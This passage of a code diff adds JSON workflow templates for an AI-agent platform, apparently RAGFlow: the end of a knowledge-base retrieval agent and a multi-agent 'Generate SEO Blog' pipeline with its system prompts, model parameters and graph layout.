After retrieval: perform coverage check (does it contain the key facts?) and quality check (source diversity, authority, latest update time).\n * If standards are not met, automatically loop: rewrite queries (synonyms/cross-domain terms) and retry \u22643 times, or flag as requiring external search.\n5. **Integration & Reasoning**\n * Build the answer using a **fact\u2013evidence\u2013reasoning** chain. For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n * [ ] Key concepts and expected outputs identified\n * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n * [ ] Meets quality standards (see above)\n * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n * [ ] Each conclusion has at least one direct evidence source\n * [ ] State assumptions/uncertainties\n * [ ] Provide next-step suggestions or experiment/retrieval plans\n * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over inaccurate content.\n4. **Output format**:\n * Hierarchically clear modular structure\n * Logical grouping according to the MECE principle\n * Professionally presented formatting\n * Step-by-step cognitive guidance\n * Reasonable use of headings and dividers for clarity\n * *Italicize* key parameters\n * **Bold** critical information\n5. **LaTeX formula requirements**:\n * Inline formulas: start and end with `$`\n * Block formulas: start and end with `$$`, each `$$` on its own line\n * Block formula content must comply with LaTeX math syntax\n * Verify formula correctness\n---\n## Additional Notes (Interaction & Failure Strategy)\n* If the knowledge base does not cover critical facts: explicitly inform the user (with sample wording)\n* For time-sensitive issues: enforce time filtering in the search request, and indicate the latest retrieval date in the answer.\n* Language requirement: answer in the user\u2019s preferred language\n",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "",
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Knowledge Base Agent"
+ },
+ "dragging": false,
+ "id": "Agent:NewPumasLick",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 347.00048227952215,
+ "y": 186.49109364794631
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_10"
+ },
+ "dragging": false,
+ "id": "Tool:AllBirdsNail",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 220.24819746977118,
+ "y": 403.31576836482583
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ }
+ ]
+ },
+ "history": [],
+ "memory": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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"
+}
\ No newline at end of file
diff --git a/agent/templates/market_generate_seo_blog.json b/agent/templates/market_generate_seo_blog.json
new file mode 100644
index 0000000..4c437a5
--- /dev/null
+++ b/agent/templates/market_generate_seo_blog.json
@@ -0,0 +1,919 @@
+{
+ "id": 12,
+ "title": {
+ "en": "Generate SEO Blog",
+ "zh": "生成SEO博客"},
+ "description": {
+ "en": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don’t need any writing experience. Just provide a topic or short request — the system will handle the rest.",
+ "zh": "此工作流根据简单的用户输入自动生成完整的SEO博客文章。你无需任何写作经验,只需提供一个主题或简短请求,系统将处理其余部分。"},
+ "canvas_type": "Marketing",
+ "dsl": {
+ "components": {
+ "Agent:BetterSitesSend": {
+ "downstream": [
+ "Agent:EagerNailsRemain"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:ClearRabbitsScream"
+ ]
+ },
+ "Agent:ClearRabbitsScream": {
+ "downstream": [
+ "Agent:BetterSitesSend"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. Output all data in a Markdown format for downstream agents.\n\n# Operating Guidelines\n\n\n- If the user's input lacks clarity, make reasonable and **conservative** assumptions based on SEO best practices.\n\n- Always choose one clear \"Writing Type\" from the list below.\n\n- Your job is not to write the blog \u2014 only to structure the brief.\n\n# Output Format\n\n```markdown\n## Writing Type\n\n[Choose one: Tutorial / Informative Guide / Marketing Content / Case Study / Opinion Piece / How-to / Comparison Article]\n\n## Target Audience\n\n[Try to be specific based on clues in the input: e.g., marketing managers, junior developers, SEO beginners]\n\n## User Intent Summary\n\n[A 1\u20132 sentence summary of what the user wants to achieve with the blog post]\n\n## Suggested Long-tail Keywords\n\n- keyword 1\n\n- keyword 2\n\n- keyword 3\n\n- keyword 4 (optional)\n\n- keyword 5 (optional)\n\n\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\n\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Agent:EagerNailsRemain": {
+ "downstream": [
+ "Agent:LovelyHeadsOwn"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\n\n\nThe Outline agent output is {Agent:BetterSitesSend@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Body_Agent**, responsible for generating the full content of each section of an SEO-optimized blog based on the provided outline and keyword strategy.\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:BetterSitesSend"
+ ]
+ },
+ "Agent:LovelyHeadsOwn": {
+ "downstream": [
+ "Message:LegalBeansBet"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:EagerNailsRemain"
+ ]
+ },
+ "Message:LegalBeansBet": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:LovelyHeadsOwn@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:LovelyHeadsOwn"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:ClearRabbitsScream"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:ClearRabbitsScreamend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:ClearRabbitsScream",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:ClearRabbitsScreamstart-Agent:BetterSitesSendend",
+ "source": "Agent:ClearRabbitsScream",
+ "sourceHandle": "start",
+ "target": "Agent:BetterSitesSend",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:BetterSitesSendtool-Tool:SharpPensBurnend",
+ "source": "Agent:BetterSitesSend",
+ "sourceHandle": "tool",
+ "target": "Tool:SharpPensBurn",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:BetterSitesSendstart-Agent:EagerNailsRemainend",
+ "source": "Agent:BetterSitesSend",
+ "sourceHandle": "start",
+ "target": "Agent:EagerNailsRemain",
+ "targetHandle": "end"
+ },
+ {
+ "id": "xy-edge__Agent:EagerNailsRemaintool-Tool:WickedDeerHealend",
+ "source": "Agent:EagerNailsRemain",
+ "sourceHandle": "tool",
+ "target": "Tool:WickedDeerHeal",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:EagerNailsRemainstart-Agent:LovelyHeadsOwnend",
+ "source": "Agent:EagerNailsRemain",
+ "sourceHandle": "start",
+ "target": "Agent:LovelyHeadsOwn",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:LovelyHeadsOwnstart-Message:LegalBeansBetend",
+ "source": "Agent:LovelyHeadsOwn",
+ "sourceHandle": "start",
+ "target": "Message:LegalBeansBet",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. Output all data in a Markdown format for downstream agents.\n\n# Operating Guidelines\n\n\n- If the user's input lacks clarity, make reasonable and **conservative** assumptions based on SEO best practices.\n\n- Always choose one clear \"Writing Type\" from the list below.\n\n- Your job is not to write the blog \u2014 only to structure the brief.\n\n# Output Format\n\n```markdown\n## Writing Type\n\n[Choose one: Tutorial / Informative Guide / Marketing Content / Case Study / Opinion Piece / How-to / Comparison Article]\n\n## Target Audience\n\n[Try to be specific based on clues in the input: e.g., marketing managers, junior developers, SEO beginners]\n\n## User Intent Summary\n\n[A 1\u20132 sentence summary of what the user wants to achieve with the blog post]\n\n## Suggested Long-tail Keywords\n\n- keyword 1\n\n- keyword 2\n\n- keyword 3\n\n- keyword 4 (optional)\n\n- keyword 5 (optional)\n\n\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\n\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Parse And Keyword Agent"
+ },
+ "dragging": false,
+ "id": "Agent:ClearRabbitsScream",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 344.7766966202233,
+ "y": 234.82202253184496
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
